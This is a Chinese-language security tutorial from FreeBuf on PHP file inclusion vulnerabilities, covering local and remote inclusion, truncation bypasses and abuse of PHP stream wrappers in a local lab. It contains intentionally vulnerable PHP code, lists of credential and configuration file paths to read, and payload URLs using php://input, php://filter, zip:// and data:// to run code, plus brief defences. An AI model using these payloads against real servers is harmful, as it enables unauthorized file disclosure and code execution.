freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

浅谈文件包含漏洞
2021-11-16 17:50:35

本文对文件包含漏洞与php封装协议的利用方法进行总结。才疏学浅,如有错误请指正~

概念

文件包含是PHP语言的一大特色,程序员们为了开发的方便,常常会用到文件包含。比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句

<?php 
    include fuction.php
    //.....
?>

就可以调用内部定义的函数。

简单一句话概括,为了更好的使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。

成因

程序员为了灵活包含文件,通过动态变量来引入需要包含的文件,用户可以对变量的值可控,但服务器端并未对变量值进行合理检验或者校验被绕过,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。

简单地说,用一个可控的变量作为文件名并以文件包含的的方式调用了它,漏洞就产生了。

文件包含漏洞通常出现在PHP语言中。如下面伪代码中,$file这个动态变量可被用户控制,存在文件包含漏洞

<?php
    $file = $_GET['file'];
    include($file);
	// .....
?>

PHP常用文件包含函数

  • include()

  • include_once():在导入函数之前检测该文件之前是否被导入,是则不执行

  • require()

  • require_once():在导入函数之前检测该文件之前是否被导入,是则不执行

四个函数的差异遇到错误,直接退出程序遇到错误,继续执行
不检测被包含文件之前是否被导入require()include()
检测被包含文件之前是否被导入require_once()include_once()

include()/require()/include_once()/require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的。

漏洞环境搭建

直接下载安装phpStudy,一款PHP集成环境,可一键切换多个不同PHP版本

image-20201022110920196

本地文件包含漏洞(LFI)

LFI (Local File Include) 即本地文件包含

  • 本地文件包含:所要包含的文件在本地

    • url:http://localhost/wenjianbaohan/b.php?url=1.txt

  • WEB开发中为什么使用本地文件包含?

    • 网站页面的header/footer等通用信息通过include方式引入,提高代码重用性,加快开发速度

    • 通用配置文件的引入,例如数据库配置、连接通过include方式引入

    • 涉及输入安全过滤的代码统一封装成一个文件使用本地文件包含引入到不同输入功能处

无限制本地文件包含漏洞

测试文件file.php,代码如下:

<?php
    $file = $_GET['file'];
    include($file);
	// .....
?>

未对$file变量进行校验,造成可包含任意文件,验证结果如下

image-20201022101338838

常见的敏感信息路径:

Windows系统

c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件

有限制本地文件包含漏洞

测试文件file2.php,代码如下:

<?php
    $file = $_GET['file'];
    include($file . ".html");  //包含传入文件名.html文件
	// .....
?>

0x01:00字符截断

00截断的原理,就是利用0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。

漏洞编号:CVE-2006-7243

**漏洞描述:**PHP before 5.3.4 accepts the \0 character in a pathname, which might allow context-dependent attackers to bypass intended access restrictions by placing a safe file extension after this character, as demonstrated by .php\0.jpg at the end of the argument to the file_exists function.

需要注意的是00截断的限制条件:

  • PHP < 5.3.4

  • magic_quotes_gpc = Off

针对限制条件进行环境部署:

  • phpstudy中选择PHP5.2.1

  • 在php.ini配置文件中将magic_quotes_gpc从默认值On修改为Off

首先尝试包含1.txt文件,请求

http://www.lfi.com/file2.php?file=1.txt

结果如下图,由于代码中强制文件后缀名为html,若想包含不同的文件后缀名,即可使用00截断

image-20201022103546510

进行请求:

http://www.lfi.com/file2.php?file=1.txt%00

即可成功绕过html后缀包含1.txt

image-20201022103930232

0x02:路径长度截断

除了00截断绕过之外,国内的安全研究者cloie发现了一个技巧——利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。

目录字符串在Windows下256字节、Linux下4096字节时达到最大值,最大值长度之后的字符将被丢弃。

限制条件:

  • PHP < 5.2.8(?) 经测试直到5.2.11也可截断成功

  • linux需要文件名长于4096,windows需要长于256

因此通过【./】就可以构造出足够长的目录。比如

././././././././././././././././passwd

或者

////////////////////////passwd

针对限制条件部署环境:

  • phpstudy中选择PHP5.2.1

  • Windows10

进行请求:

http://www.lfi.com/file2.php?file=1.txt././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

image-20201022105326650

0x03:点号截断

限制条件:

  • PHP < 5.2.8(?) 经测试直到5.2.11也可截断成功

  • 只适用于windows,点号需要长于256

http://www.lfi.com/file2.php?file=1.txt...........................................................................................................................................................................................................................................

image-20201022105715097

远程文件包含漏洞(RFI)

RFI (Remote File Include) 即远程文件包含

  • 远程文件包含:所要包含的文件在其他主机上

    • 需要文件所在主机php.ini中allow_url_include=on

    • url:http://localhost/wenjianbaohan/b.php?url=http://10.10.10.131/RFI/1.txt

无限制远程文件包含漏洞

测试代码file.php,代码如下:

<?php
    $file = $_GET['file'];
    include($file);
	// .....
?>

限制条件:

  • allow_url_include = On(PHP5.2版本开始,默认值即为Off)

  • allow_url_fopen = On(默认值即On)

针对限制条件部署环境:

  • php.ini 中将allow_url_include值修改为On

在腾讯云vps保存php.txt文件

<?php
phpinfo();
?>

进行包含php.txt文件请求:

http://www.lfi.com/file.php?file=http://xx.xx.xx.xx:x31/php.txt

image-20201022112359601

有限制远程文件包含漏洞

测试文件file2.php,代码如下:

<?php
    $file = $_GET['file'];
    include($file . ".html");  //包含传入文件名.html文件
	// .....
?>

代码加了html后缀,再次访问php.txt则报错

image-20201022114359573

0x01:问号绕过

这里看似将路径的后半段都定死了,但是结合HTTP传参的原理可以绕过去

限制条件:

  • allow_url_include = On(PHP5.2版本开始,默认值即为Off)

  • allow_url_fopen = On(默认值即On)

构造如下的攻击URL

http://www.lfi.com/file2.php?file=http://xx.xx.xx.xx:x31/php.txt?

结果:

image-20201022115326017

产生的原理:

?file=http://xx.xx.xx.xx:x31/php.txt?
最终目标应用程序代码实际上执行了:
include "http://xx.xx.xx.xx:x31/php.txt?.html";
(注意,这里很巧妙,问号"?"后面的代码被解释成URL的querystring,这也是一种"截断"思想,和%00一样)

0x02:#号绕过

限制条件:

  • allow_url_include = On(PHP5.2版本开始,默认值即为Off)

  • allow_url_fopen = On(默认值即On)

构造请求:

http://www.lfi.com/file2.php?file=http://xx.xx.xx.xx:x631/php.txt%23

image-20201022115443536

0x03:猜测文件后缀

限制条件:

  • allow_url_include = On(PHP5.2版本开始,默认值即为Off)

  • allow_url_fopen = On(默认值即On)

根据当前的web环境及功能点,查看报错信息或者猜测源码中包含函数要求的后缀名,在vps上保存php.html/php.txt/php.jpg/php.png等后缀名文件,然后构造请求:

http://www.lfi.com/file2.php?file=http://xx.xx.xx.xx:x631/php

若存在包含函数要求的后缀名,即结果

image-20201022173750966

PHP伪协议

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()copy()file_exists()filesize()的文件系统函数。

官方文档:https://www.php.net/manual/zh/wrappers.file.php

PHP中支持的伪协议,本文中测试PHP>=5.2

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

0x01:file://协议

  • 条件:

    • allow_url_fopen:off/on

    • allow_url_include:off/on

  • 作用:
    file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

  • 用法:

/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext
  • 示例:
    image-20201022151907970

0x02:php://协议

  • 条件:

    • allow_url_fopen:off/on

    • allow_url_include:仅php://input php://stdin php://memory php://temp 需要on

  • 作用:
    php://访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filterphp://inputphp://filter用于读取源码php://input用于执行php代码

  • 用法:
    PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

协议作用
php://input**可以访问请求的原始数据的只读流,可以读取到post没有解析的原始数据, 将post请求中的数据作为PHP代码执行。因为它不依赖于特定的 php.ini 指令。**在enctype="multipart/form-data"的时候php://input 是无效的。
php://output只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。
php://fd(>=5.3.6)允许直接访问指定的文件描述符。例如php://fd/3引用了文件描述符 3。
php://memory php://temp(>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是php://memory总是把数据储存在内存中,而php://temp会在内存量达到预定义的限制后(默认是2MB)存入临时文件中。临时文件位置的决定和sys_get_temp_dir()的方式一致。
php://filter(>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似readfile()file()file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
  • php://filter参数详解
    该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:

    php://filter 参数描述
    resource=<要过滤的数据流>必须项。它指定了你要筛选过滤的数据流。
    read=<读链的过滤器>可选项。可以设定一个或多个过滤器名称,以管道符(|)分隔
    write=<写链的过滤器>可选项。可以设定一个或多个过滤器名称,以管道符(|)分隔
    <; 两个链的过滤器>任何没有以 *read=*或 *write=*作前缀的筛选器列表会视情况应用于读或写链
    • 可用的过滤器列表(4类)
      此处列举主要的过滤器类型,详细内容请参考:https://www.php.net/manual/zh/filters.php

    字符串过滤器作用
    string.rot13等同于str_rot13(),rot13变换
    string.toupper等同于strtoupper(),转大写字母
    string.tolower等同于strtolower(),转小写字母
    string.strip_tags等同于strip_tags(),去除html、PHP语言标签


    转换过滤器作用
    convert.base64-encode & convert.base64-decode等同于base64_encode()base64_decode(),base64编码解码
    convert.quoted-printable-encode & convert.quoted-printable-decodequoted-printable 字符串与 8-bit 字符串编码解码


    压缩过滤器作用
    zlib.deflate & zlib.inflate在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
    bzip2.compress & bzip2.decompress同上,在本地文件系统中创建 bz2 兼容文件的方法。


    加密过滤器作用
    mcrypt.*libmcrypt 对称加密算法
    mdecrypt.*libmcrypt 对称解密算法
  • 示例:
    image-20201022160025020
    image-20201022160134451

http://www.lfi.com/file.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?> //若具有写权限,可直接一句话getshell

image-20201022160703315
2. allow_url_include=On的情况下,php://input + [POST DATA]执行php代码
1. 在allow_url_fopen=Off和allow_url_include=Off情况下,使用php://filter协议可以读取出文件源码

```
php://filter/read=convert.base64-encode/resource=file2.php
```

0x03:zip:// & bzip2:// & zlib://协议

  • 条件:

    • allow_url_fopen:off/on

    • allow_url_include:off/on

  • 作用:
    zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx等等。

  • 用法:

3个封装协议,都是直接打开压缩文件。
compress.zlib://file.gz   - 处理的是 '.gz'  后缀的压缩包
compress.bzip2://file.bz2 - 处理的是 '.bz2' 后缀的压缩包
zip://archive.zip#dir/file.txt - 处理的是 '.zip' 后缀的压缩包里的文件
  • 示例:

    1. PHP >= 5.3.0,zip:// [压缩文件绝对路径]#[压缩文件内的子文件名](#编码为%23)
      先在本地压缩php.txt为php.zip,压缩包重命名为php.png,然后上传访问zip格式压缩包内容

    http://www.lfi.com/file.php?file=zip://E:\tools\php.png%23php.txt
    

    image-20201022162846963

0x04:data://协议

  • 条件:

    • allow_url_fopen:on

    • allow_url_include:on

    • PHP >= 5.2.0

  • 作用:PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

  • 用法:

data://text/plain,
data://text/plain;base64,
  • 示例:

    1. data://text/plain,

    http://www.lfi.com/file.php?file=data://text/plain,%3C?php%20phpinfo();?%3E
    

    image-20201022163656024
    2.data://text/plain;base64,

    http://www.lfi.com/file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
    

    image-20201022164348662

0x05:小结

image-20201022164616760

漏洞防御

  • PHP中使用open_basedir 配置限制访问在指定的区域

  • 过滤 .(点)/ (斜杠) \(反斜杠)

  • 禁止服务器远程文件包含

  • 尽量不使用动态包含,在需要包含的页面固定写好

参考

文件包含漏洞总结

LFI、RFI、PHP封装协议安全问题学习

PHP伪协议总结

00截断原理分析

截断在文件包含和上传中的利用

文件包含漏洞与PHP伪协议

# 文件包含漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录